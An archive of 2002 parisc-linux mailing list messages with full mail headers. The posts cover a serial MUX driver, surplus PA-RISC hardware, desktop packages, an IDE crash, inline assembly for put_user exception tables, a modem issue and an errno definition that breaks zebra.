> > In general I have the problem in basic stuff and in
> > docu, special for the I/O scanning via PDC in more
> > details. In the normal PDC/IO there is not enough docu
> > for that. I was informed, that there is one more docu
> > handling this, bt I forgot the name, something like
> > "AIO" or so.
> >
> > How we can go one step forward, as I also want to
> > start (in slowly steps) the SCSI driver ... ?
> >
> > Bye,
> > Christoph
> >
> >
> >
> > Ryan Bradetich wrote:
> > >
> > > Hello all,
> > >
> > > I just committed support for the Serial MUX driver as linux-2.4.19-pa5.
> > >
> > > This patch has been tested on my K460 and has been working well.  The
> > > driver uses the same /dev/ttyB0 device the PDC Software console that
> > > Christoph Plattner wrote and is available under the Non-standard serial
> > > ports section.
> > >
> > > Currently the driver only supports the Eole CAP/MUX (A Direct) device
> > > since that is all I have to test with.  Additional devices can be added
> > > under this driver as people with systems have a chance to test.
> > >
> > > I tried to document the driver with kerneldoc, but it would be nice if
> > > someone would check over my comment as I had to google/guess what most
> > > of the ioctls and tty flags were.
> > >
> > > The committed patch can be found at:
> > >         ftp://ftp.parisc-linux.org/patches/serial_mux_v0.1.diff
> > >
> > > Feedback greatly appreciated!
> > >
> > > Thanks,
> > >
> > > - Ryan
> > >
> > > _______________________________________________
> > > parisc-linux mailing list
> > > parisc-linux@lists.parisc-linux.org
> > > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
> > --
> > -------------------------------------------------------
> > private:      christoph.plattner@gmx.at
> > company:      christoph.plattner@alcatel.at
> >

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [OT] cheap pa-risc hardware
Date: Sun, 8 Sep 2002 07:42:05 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <20020908074205.A9860@osiris.silug.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621699 13776 80.91.229.3 (22 Nov 2014 02:01:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  8 06:42:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from osiris.silug.org (osiris.silug.org [64.240.156.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F28B4831
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Sep 2002 06:42:12 -0600 (MDT)
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.11.6/8.11.6) id g88Cg5409930
	for parisc-linux@lists.parisc-linux.org; Sun, 8 Sep 2002 07:42:05 -0500
X-Authentication-Warning: osiris.silug.org: steve set sender to steve@silug.org using -f
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16069

I was recently asked to help sell a pallet full of 712/60s, 712/80s,
735/125s, and 715/100s (plus a few J- and K-class servers and other
random hardware).  Before I start hitting eBay, I was hoping that
someone on the list might have a good use for them.  While they
wouldn't be free, I think they would be cheap.  I've already warned
the guy in question that the older workstations aren't worth much,
especially since they don't seem to have any interesting hardware
(small disks, not much memory, no add-on cards).

If I had any spare money right now, I'd probably just buy the things
and donate them to a few Debian developers...

Please email me off-list if you have a use for them.  I'll have exact
numbers early this week.

The systems are in St. Louis, if it matters.

Steve
-- 
steve@silug.org           | Southern Illinois Linux Users Group
(618)398-7360             | See web site for meeting details.
Steven Pritchard          | http://www.silug.org/


From - Thu Nov 08 21:24:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Status of parisc-linux on E45
Date: Sun, 08 Sep 2002 23:45:57 +0200
Organization: private
Lines: 22
Approved: news@gmane.org
Message-ID: <3D7BC515.2D31193A@gmx.at>
References: <Pine.LNX.4.44.0209081652450.221-100000@kone.ihanaa.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621700 13780 80.91.229.3 (22 Nov 2014 02:01:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:40 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Jussi =?iso-8859-1?Q?M=E4ki?= <valen@ihanaa.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  8 15:46:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84B63482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Sep 2002 15:46:07 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep13-int.chello.at
          (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP
          id <20020908214601.FMDX18342.viefep13-int.chello.at@gmx.at>;
          Sun, 8 Sep 2002 23:46:01 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16070

The status has not changed the last month. My E55 works
without MUX (except console via my PDC driver), SCSI
and parallel port.

At the momemt, I will start again play around accessing
the devices (I alreasy started a month ago, but other
work delayed this ...).

Christoph


Jussi Mki wrote:
> 
> Hi, we discussed about using linux on E45 couple of months ago..
> 
> How well does parisc-linux work on E-series machine these days?

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GNOME 1.4
Date: Sun, 08 Sep 2002 15:56:02 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <20020908215602.791B0482A__21287.9919600256$1416621700$gmane$org@dsl2.external.hp.com>
References: <1nismusojam12vial5vnqarbmfd8pb8mh7@4ax.com> <20020830040829.3BE694829@dsl2.external.hp.com>  <1030705477.3180.15.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621700 13782 80.91.229.3 (22 Nov 2014 02:01:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  8 15:56:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 791B0482A; Sun,  8 Sep 2002 15:56:02 -0600 (MDT)
In-Reply-To: Message from Alan Cox <alan@lxorguk.ukuu.org.uk> 
   of "30 Aug 2002 12:04:37 BST." <1030705477.3180.15.camel@irongate.swansea.linux.org.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16071

Alan Cox wrote:
> The setup I use so I get a 'real desktop' not just old style X window
> mangler is xfce for the desktop with the rox filer on top for the file
> mangler, icon dock etc.

rox filer isn't available pre-built for hppa.
"dpkg-buildpackage -rfakeroot -uc -us" died with:
...
checking that libgtk2.0-dev (version >= 2.0.1) is installed... no
configure: error: Package is not installed

while on my system "dpkg -l libgtk\*" says:
...
ii  libgtk2.0-0    2.0.2-5woody1  The GTK+ graphical user interface library
ii  libgtk2.0-comm 2.0.2-5woody1  Common files for the GTK+ graphical user int
ii  libgtk2.0-dbg  2.0.2-5woody1  The GTK+ libraries and debugging symbols
ii  libgtk2.0-dev  2.0.2-5woody1  Development files for the GTK+ library.

Latest source depot's are below in case someone wants to beat rox config
tools into submission:
deb http://www.janw.easynet.be/rox/ developer/
deb-src http://www.janw.easynet.be/rox/ developer/

(one might try "stable/" instead of "developer/")


> I'd guess it would be very nice on an ancient parisc box too because
> they pa boxes probably have better I/O

I was thinking xfce is a window manager but it's not:
    xfce is an easy-to-use and easy-to-configure toolbar for X11.  Features
    pulldown menus with color icons, 3D widgets,  etc.   It's  designed  to
    work with XFwm, (window manager shipped with xfce)

It works on fine on my B180...but I didn't try it with XFwm as reccomended.
fvwm was still running...I'll try it again with XFwm.

thanks,
grant


From - Thu Nov 08 21:24:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ide controller
Date: Sun, 08 Sep 2002 22:23:31 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20020909042331.75529482A@dsl2.external.hp.com>
References: <32935.192.168.2.15.1031524468.squirrel@debian.sinnhq.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621700 13784 80.91.229.3 (22 Nov 2014 02:01:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: moritz@sinnhq.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  8 22:23:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 75529482A; Sun,  8 Sep 2002 22:23:31 -0600 (MDT)
In-Reply-To: Message from <moritz@sinnhq.de> 
   of "Mon, 09 Sep 2002 00:34:28 +0200." <32935.192.168.2.15.1031524468.squirrel@debian.sinnhq.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16072

moritz@sinnhq.de wrote:
> hi,

Hi,
This is a kernel question. I'm replying to a different list.

> i'd like to connect some big ide disks to my hp c240, which is running
> with debian gnu/linux.i tried an ultra ata ide controller from digitus.
> but when i load the module, the system crashes after detecting the
> controller.

Can you post details of the crash?
Console output?
kernel version?
maybe collect "ser pim" output from "boot_admin>" as well.

> i think that
> this is because of the lower voltage in the hp machines compared with an
> pc. but an standard pci network card works without problems.
> so does someone now an ide controller which works?

This has nothing to do with the voltage.
If the card fits, the voltage is OK.

grant


From - Thu Nov 08 21:24:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Inline Assembly Help request
Date: Mon, 9 Sep 2002 18:27:22 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <3D3815AF0000F2CA@ocpmta3.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621701 13787 80.91.229.3 (22 Nov 2014 02:01:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  9 10:27:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0DF1482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Sep 2002 10:27:26 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 9 Sep 2002 18:27:22 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16073

Hi all,

Continuing to figure out how to translate this C in assembly:
static inline int __put_user_u64(unsigned long long val, unsigned long long
*  ptr)
{
    int  err;
    err = (int) put_user((unsigned int)(val>>32) ,(unsigned int *)ptr);
    err |= (int) put_user((unsigned int)val,(unsigned int *)ptr+1);
    return err;
}

(needed for > evms-1.1.0)

With many luck, I found interresting references about online assembly in
gcc.

But I do not yet find explanation about details of the following asm code:
#define __put_user_asm(stx,x,ptr)                           \
        __asm__ __volatile__ (                              \
                "\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
                "2:\n"                                      \
                "\t.section __ex_table,\"a\"\n"             \
                 "\t.word\t1b\n"                            \
                 "\t.word\t(2b-1b)+1\n"                     \
                 "\t.previous"                              \
                : "=r"(__pu_err)                            \
                : "r"(ptr), "r"(x), "0"(__pu_err))

which is more clear with gcc -S:

1:      stw     %r21,0(%sr3,%r19)
2:
        .section __ex_table,"a"
        .word   1b
        .word   (2b-1b)+1
        .previous

My questions are:
what are the actual means "1:", "2:" (seems like label?)

and what means the rest
".section __ex_table,...
 ...
 .previous"

I do not yet found reference on this part (even in Assembly-HOWTO).
Where could I found doc on this details?

Thanks in advance for attention,
    Joel
                          


Big Brother Anders  - With Tiscali you will see it all !  Check it up on
 www.tiscali.be/bigbrother




From - Thu Nov 08 21:24:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Inline Assembly Help request
Date: Mon, 9 Sep 2002 13:27:34 -0400 (EDT)
Lines: 58
Approved: news@gmane.org
Message-ID: <200209091727.g89HRZF3021659@hiauly1.hia.nrc.ca>
References: <3D3815AF0000F2CA@ocpmta3.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621701 13791 80.91.229.3 (22 Nov 2014 02:01:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  9 11:48:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A32C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Sep 2002 11:48:28 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g89HRZ00021661;
	Mon, 9 Sep 2002 13:27:36 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g89HRZF3021659;
	Mon, 9 Sep 2002 13:27:35 -0400 (EDT)
In-Reply-To: <3D3815AF0000F2CA@ocpmta3.be.tiscali.com> from "jsoe0708@tiscali.be" at Sep 9, 2002 06:27:22 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16074

> But I do not yet find explanation about details of the following asm code:
> #define __put_user_asm(stx,x,ptr)                           \
>         __asm__ __volatile__ (                              \
>                 "\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
>                 "2:\n"                                      \
>                 "\t.section __ex_table,\"a\"\n"             \
>                  "\t.word\t1b\n"                            \
>                  "\t.word\t(2b-1b)+1\n"                     \
>                  "\t.previous"                              \
>                 : "=r"(__pu_err)                            \
>                 : "r"(ptr), "r"(x), "0"(__pu_err))
> 
> which is more clear with gcc -S:
> 
> 1:      stw     %r21,0(%sr3,%r19)
> 2:
>         .section __ex_table,"a"
>         .word   1b
>         .word   (2b-1b)+1
>         .previous
> 
> My questions are:
> what are the actual means "1:", "2:" (seems like label?)

They are local labels that can be referenced in the asm.  "b" and "f"
mean backwards and forward relative to the current location.  This more
or less doubles the number of labels available.

> and what means the rest
> ".section __ex_table,...
>  ...
>  .previous"
> 
> I do not yet found reference on this part (even in Assembly-HOWTO).
> Where could I found doc on this details?

The GCC manual (extend.texi) has documentation on writing asms.  You
will need to look at the pa-risc architecture manuals for documentation
on PA assembler instructions.

The code is trying to setup a table using local labels generated
in the asm.  The way to do this is highly port dependent.
In particular, indirect function calls are done using plabels on
the PA.  There are also restrictions on the types of relocations
that can be used for constructing tables of this kind.

This is highly complex stuff and isn't very well documented.  You
can read the HP runtime architecture document, the documentation on
ELF relocations and look at the code in the GNU assembler and linker.
The dwarf2 exception tables that you can generate with gcc 3.3
may also give some clue.  Look at the entry for the personality
function and how the labels for C++ catches are encoded in the table.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jon Sharp" <jonsharp@fastmail.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Modem communication, HP 730
Date: Mon,  9 Sep 2002 14:44:33 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <3D7CEC11.00008F.38799@ns.interchange.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="------------Boundary-00=_9EP6EVT66ERNTT4D7TH0"
X-Trace: ger.gmane.org 1416621701 13793 80.91.229.3 (22 Nov 2014 02:01:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  9 12:44:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.interchange.ca (ns.interchange.ca [216.126.79.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id E90D3482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Sep 2002 12:44:38 -0600 (MDT)
Original-Received: by mail.interchange.ca (Fastmailer, from userid 555)
	id A1B1E2E8A; Mon,  9 Sep 2002 14:44:33 -0400 (EDT)
X-Fastmail-IP: [195.92.168.173]
Original-Received: from 195.92.168.173 by fastmail.ca with HTTP; Mon, 9 Sep 2002 18:44:33 +0000 (UTC)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16075

--------------Boundary-00=_9EP6EVT66ERNTT4D7TH0
Content-Type: Text/Plain
Content-Transfer-Encoding: 7bit

Dear All,

I hope that I am sending this to an appropriate list.  To be honest I 
am running out of ideas.

I recently received a HP 730 which I am attempting to restore.  I am 
trying to install an external modem (V90 Velo Net ME220).  However, 
it is acting strangley.  It works fine (using minicom) at connection 
speeds of up to 19200, after that the modem fails to respond to AT 
commands altogether.

I have read through both the serial and modem how-tos in detail and 
tried what I could think of.  Including using a large range of 
different settings for setserial and stty.  Does anyone have any idea 
what I might be doing wrong?  One interesting point to note, I have 
no monitor or HIL keyboard and have been using the first serial port 
(A) for a console.

Any advice would be greatly received,

Jon Sharp

__ 
'The art of good lecturing is to transfer the information from my 
notes to your notes without it passing through eithers brain.'
Cambridge University Lecturer
_________________________________________________________________
    http://fastmail.ca/ - Fast Secure Web Email for Canadians
--------------Boundary-00=_9EP6EVT66ERNTT4D7TH0--


From - Thu Nov 08 21:24:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] definition of EWOULDBLOCK in /usr/include/asm/errno.h
Date: Mon, 9 Sep 2002 23:46:47 +0200 (CEST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0209092343150.2394-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621701 13796 80.91.229.3 (22 Nov 2014 02:01:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:41 +0000 (UTC)
To: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  9 15:47:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58445482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Sep 2002 15:47:00 -0600 (MDT)
Original-Received: from alpha.bocc.de (p5080CA95.dip.t-dialin.net [80.128.202.149])
	(authenticated)
	by mail.scram.de (8.11.6+3.4W/8.11.0) with ESMTP id g89Lkut26566
	for <parisc-linux@lists.parisc-linux.org>; Mon, 9 Sep 2002 23:46:57 +0200 (CEST)
X-X-Sender: jochen@alpha.bocc.de
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16076

Hi,

because of the unusual definition of EWOULDBLOCK, zebra currently doesn't
work (zebra checks for EWOULDBLOCK in zebra/rt_netlink.c and will loop if
it gets EAGAIN instead and both are not the same).

I'm not sure what's the correct fix for this, change errno.h to match the
definition of the other archs or change zebra to check for EAGAIN as
well...

Cheers,
--jochen



From - Thu Nov 08 21:24:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] db3/db4 patch for Linux/HPPA (fwd)
Date: Tue, 10 Sep 2002 00:02:08 +0200 (CEST)
Lines: 42
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0209092358400.2394-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
